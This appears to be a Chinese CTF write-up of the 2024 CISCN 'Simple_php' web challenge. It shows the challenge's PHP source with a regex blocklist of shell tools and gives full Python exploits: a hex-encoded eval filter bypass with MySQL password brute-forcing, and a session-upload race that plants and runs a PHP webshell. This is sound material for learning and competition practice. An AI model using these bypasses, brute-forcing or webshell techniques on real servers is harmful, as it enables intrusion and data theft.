2024CISCN-WEB-Simple_php-WP

复现网站

https://ctf.show/challenges

涉及知识点

代码审计

16进制绕过php正则匹配waf

LFI Session文件包含

mysql密码爆破

实际流程

第一步进行代码审计,发现过滤了超多东西

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}

show_source(__FILE__);
?>

这里的话,有两种思路

一种是正面突破绕过正则匹配

另一种则是曲线救国,避其锋芒

正面突破

可使用

php -r eval(hex2bin(substr(A<16进制字符串>,1)));

来进行绕过

  • -r 是php的一个命令行选项,php -r 允许在不创建 php 文件的情况下执行 php 代码
  • substr(<str>,<int>)表示从下标 int 开始截取 str 字符串的内容
  • hex2bin即将16进制字符串转为2进制字符串形式
  • 如果16进制字符串开头为数字的话,则类型会被识别为数字,所以使用substr截断

尝试执行phpinfo();

cmd=php -r eval(hex2bin(substr(A706870696e666f28293b,1)));

成功!

同样的,可以执行其他代码,但是经过测试,发现文件目录中并没有flag,phpinfo也在似乎也在提醒我们

但是发现存在mysql服务,推测flag存在于sql数据库中

尝试爆破数据库

url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/"

def crack():  # 爆破密码
    with open("1400.txt", "rb") as fp:
        dict = fp.readlines()

    for passwd in dict:
        passwd = passwd.strip()
        payload = b"echo `mysql -u root -p'%s' -e 'show databases;'`;" % passwd

        data={
            "cmd": f"php -r eval(hex2bin(substr(A{payload.hex()},1)));"
        }

        text = requests.post(url,data=data).text
        #print(text)
        print(f"尝试{passwd.decode('utf-8')}")
        if "mysql" in text:
            print(f"sql密码为{passwd.decode('utf-8')}")
            exit(0)

    print("未找到")

找到数据库密码为root

首先读数据库,得到

PHP_CMS
information_schema
mysql
performance_schema
test

前往PHP_CMS库下发现

Tables_in_PHP_CMS
F1ag_Se3Re7

获取flag

ctfshow{6745e674-2743-44d0-8751-3f85100c398c}

以下是完整payload

import requests
import re

url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/"

def crack():  # 爆破密码
    with open("1400.txt", "rb") as fp:
        dict = fp.readlines()

    for passwd in dict:
        passwd = passwd.strip()
        payload = b"echo `mysql -u root -p'%s' -e 'show databases;'`;" % passwd

        data={
            "cmd": f"php -r eval(hex2bin(substr(A{payload.hex()},1)));"
        }

        text = requests.post(url,data=data).text
        #print(text)
        print(f"尝试{passwd.decode('utf-8')}")
        if "mysql" in text:
            print(f"sql密码为{passwd.decode('utf-8')}")
            exit(0)

    print("未找到")

# crack()

payload = b"echo `mysql -u root -p'root' -e 'show databases;use PHP_CMS;show tables;select * from F1ag_Se3Re7;'`;"
data={
        "cmd": f"php -r eval(hex2bin(substr(A{payload.hex()},1)));"
    }
text = requests.post(url,data=data).text
if "ctfshow{" in text:
    flag = re.search(r'ctfshow\{.*?\}', text).group()
    print(f"\033[31mflag为{flag}\033[0m")
print(text)
print(data["cmd"])

曲线救国

可利用session文件包含进行RCE

携带session的会话进行POST请求时,会在服务器某个目录下会产生sess_sessID的临时文件

一般路径为

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

本题的存放路径为/tmp/sess_PHPSESSID

这时,我们便可在sess_PHESESSID中包含木马

并通过cmd=php /tmp/sess_PHPSESSID来执行代码,从而达成RCE

但需要注意的是sess_PHESESSID临时文件是会被系统清除掉的,因此我们需要竞争访问,赶在系统清除前访问它

总体思路差不多,以下是完整payload

import io
import requests
import threading
import re

sessid = 'abcd'
data = {"cmd":"php /tmp/sess_abcd"}
url = "http://0f10e2bd-ad84-4c7f-a42c-8e54f509b1e0.challenge.ctf.show/"
payload = "<?php echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;echo 'success!!!'; ?>"
sign = 0

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url, data={'PHP_SESSION_UPLOAD_PROGRESS': payload}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid} )

def read(session):
    while True:
        resp = session.post(url, data=data)
        if 'success!!!' in resp.text:
            print(f"\033[32m{resp.text}\033[0m")
            if "ctfshow{" in resp.text:
                print(f"\033[31mflag为{re.search(r'ctfshow{.*?}',resp.text)}\033[0m")
        else:
            print(resp.text)
            print("[+++++++++++++]retry")

if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read, args=(session,)).start()
        event.set()

此外

看别的师傅还有反弹shell的方法,但是我自己没有成功反弹出来,或许是因为题目是docker容器环境下的原因吧

参考

[浅谈利用session绕过getshell - 蚁景网安实验室 - 博客园](浅谈利用session绕过getshell - 蚁景网安实验室 - 博客园 (cnblogs.com))

[国赛2024 simple_php(三种方法)](国赛2024 simple_php(三种方法) - DGhh - 博客园 (cnblogs.com))

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇